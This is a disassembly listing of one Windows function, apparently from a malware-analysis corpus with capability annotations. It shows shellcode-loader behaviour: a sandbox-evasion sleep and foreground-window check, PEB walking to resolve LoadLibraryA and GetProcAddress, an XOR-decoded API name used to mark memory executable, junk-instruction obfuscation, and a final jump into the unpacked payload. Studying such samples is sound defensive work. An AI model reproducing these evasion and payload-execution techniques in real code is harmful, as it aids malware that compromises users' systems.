Function at 0x41d790
Capabilities:
Check for foreground window switch
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41e14c
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x42d014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x4e20
call dword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x68], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x6c], eax
push 0
push 0
push 0x5a25
push 0
call dword [sym.imp.USER32.dll_PostMessageA]
test eax, eax
je 0x41d7f3
mov byte [ebp - 0x39], 1
jmp 0x41d7f7
mov byte [ebp - 0x39], 0
mov al, byte [ebp - 0x39]
mov byte [ebp - 0x3a], al
call dword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcessId]
mov dword [ebp - 0x70], eax
push 0
push 0x3cfb
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], edi
xor ebx, ebx
mov eax, 0x11
add eax, 0x1f
mov edi, dword fs:[ebx + eax]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0x14]
mov esi, dword [esi]
mov esi, dword [esi]
mov eax, dword [esi + 0x10]
mov edi, eax
add edi, dword [eax + 0x3c]
mov edx, dword [edi + 0x78]
add edx, eax
mov edi, dword [edx + 0x20]
add edi, eax
push ebp
mov ebp, ebx
mov esi, dword [edi + ebp*4]
add esi, eax
inc ebp
cmp dword [esi], 0x64616f4c
jne 0x41d854
cmp dword [esi + 8], 0x41797261
jne 0x41d854
mov edi, dword [edx + 0x24]
add edi, eax
mov bp, word [edi + ebp*2]
mov edi, dword [edx + 0x1c]
add edi, eax
mov edi, dword [edi + ebp*4 - 4]
add edi, eax
pop ebp
mov dword [ebp - 0x40], edi
xor ebx, ebx
mov eax, 0x11
add eax, 0x1f
mov edi, dword fs:[ebx + eax]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0x14]
mov esi, dword [esi]
mov esi, dword [esi]
mov eax, dword [esi + 0x10]
mov edi, eax
add edi, dword [eax + 0x3c]
mov edx, dword [edi + 0x78]
add edx, eax
mov edi, dword [edx + 0x20]
add edi, eax
push ebp
mov ebp, ebx
mov esi, dword [edi + ebp*4]
add esi, eax
inc ebp
cmp dword [esi], 0x50746547
jne 0x41d8b0
cmp dword [esi + 0xa], 0x73736572
jne 0x41d8b0
mov edi, dword [edx + 0x24]
add edi, eax
mov bp, word [edi + ebp*2]
mov edi, dword [edx + 0x1c]
add edi, eax
mov edi, dword [edi + ebp*4 - 4]
add edi, eax
pop ebp
mov dword [ebp - 0x44], edi
mov ecx, dword [ebp - 0x44]
mov dword [0x449fb8], ecx
mov edx, dword [ebp - 0x40]
mov dword [0x449fb4], edx
push 0x77e
push 0x42da70
lea ecx, [ebp - 0x64]
call fcn.004027a0
mov dword [ebp - 4], 0
mov dword [ebp - 0x4c], 0
lea ecx, [ebp - 0x64]
call fcn.00401560
mov dword [ebp - 0x48], eax
push str.uhUIAHsyutfTWt678
lea ecx, [ebp - 0x38]
call fcn.00402a00
mov byte [ebp - 4], 1
mov byte [ebp - 0x20], 0x23
mov byte [ebp - 0x1f], 1
mov byte [ebp - 0x1e], 0x27
mov byte [ebp - 0x1d], 0x3d
mov byte [ebp - 0x1c], 0x34
mov byte [ebp - 0x1b], 0x29
mov byte [ebp - 0x1a], 0x1f
mov byte [ebp - 0x19], 0x29
mov byte [ebp - 0x18], 7
mov byte [ebp - 0x17], 0x1b
mov byte [ebp - 0x16], 0x12
mov byte [ebp - 0x15], 0x31
mov byte [ebp - 0x14], 0x34
mov byte [ebp - 0x13], 0
mov byte [ebp - 0x12], 0
push 0xe
lea ecx, [ebp - 0x38]
call fcn.004028f0
push eax
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x38]
call fcn.00402910
push eax
call fcn.0041db30
add esp, 0x10
push eax
push 0x429844
call dword [0x449fb4]
push eax
call dword [0x449fb8]
mov dword [ebp - 0x50], eax
lea ecx, [ebp - 0x4c]
push ecx
push 0x40
push 0x77e
mov edx, dword [ebp - 0x48]
push edx
call dword [ebp - 0x50]
push 0xe
lea ecx, [ebp - 0x38]
call fcn.004028f0
push eax
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x38]
call fcn.00402910
push eax
call fcn.0041db30
add esp, 0x10
push 0x1ac00
push 0x42e1f0
lea ecx, [ebp - 0x5c]
call fcn.004027a0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x5c]
call fcn.00401560
mov dword [ebp - 0x54], eax
xor ecx, ecx
or bh, cl
mov eax, dword [ebp - 0x54]
push eax
push 0
mov eax, dword [ebp - 0x48]
add eax, 0x130
sub eax, 1
pushal
or al, ah
xor bl, 0x1e
mov bx, 0x69f1
test bl, bh
xor ebx, 0x1956
xor cx, 0x537b
and ecx, 0x3a71
and cl, 0x31
mov ebx, eax
xor ah, ah
and dx, cx
and ax, 0x3ace
test bh, al
and dl, bl
and ebx, edx
mov dx, 0x24e9
xor dl, 0xfa
popal
lea edi, [0x448df0]
push edi
mov edi, 0x25
add edi, 0x25
add eax, edi
add eax, 8
pop edi
pushal
xor ax, bx
mov esi, eax
and al, 9
and bh, ah
and bx, 0x604e
and edx, 0x1ed1
popal
mov edi, dword [edi]
push edi
mov ecx, esi
and cx, bx
xor bl, dl
mov ebx, ebx
mov edx, 0x5f64
xor ebx, 0x1e19
or esi, 0x3e06
xor ebx, 0x5d77
or dl, ch
xor bx, 0x1a36
xor esi, 0x4ee5
xor ebx, 0x4d94
or bh, dl
xor bh, 0xf2
or bx, 0x294e
pushal
pushf
xor ch, 0xc7
popf
popal
call fcn.0041db10
push edi
jmp eax